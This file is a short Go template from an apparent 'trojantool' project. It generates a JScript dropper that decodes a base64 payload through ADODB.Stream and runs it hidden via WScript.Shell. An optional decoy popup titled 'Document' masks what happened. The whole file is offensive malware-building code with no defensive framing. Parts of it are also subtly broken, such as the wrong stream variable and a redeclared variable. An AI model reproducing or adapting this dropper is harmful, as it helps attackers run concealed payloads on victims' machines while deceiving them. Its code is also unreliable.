trojantool/cmd/jscript.gojs

var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;

stream.Write(window.atob({{.Encoded}}));

var bytes = stream.Read();

var shell = new ActiveXObject("WScript.Shell");
shell.Run(bytes, 0, false);

{{if len .EncodedDecoy}}
var stream2 = new ActiveXObject("ADODB.Stream");
stream.Type = 1;

stream.Write(window.atob({{.EncodedDecoy}}));

var bytes = stream.Read();
shell.Popup(bytes, 0, "Document", 0x40);

{{end}}

{{/* vim: syntax=javascript */}}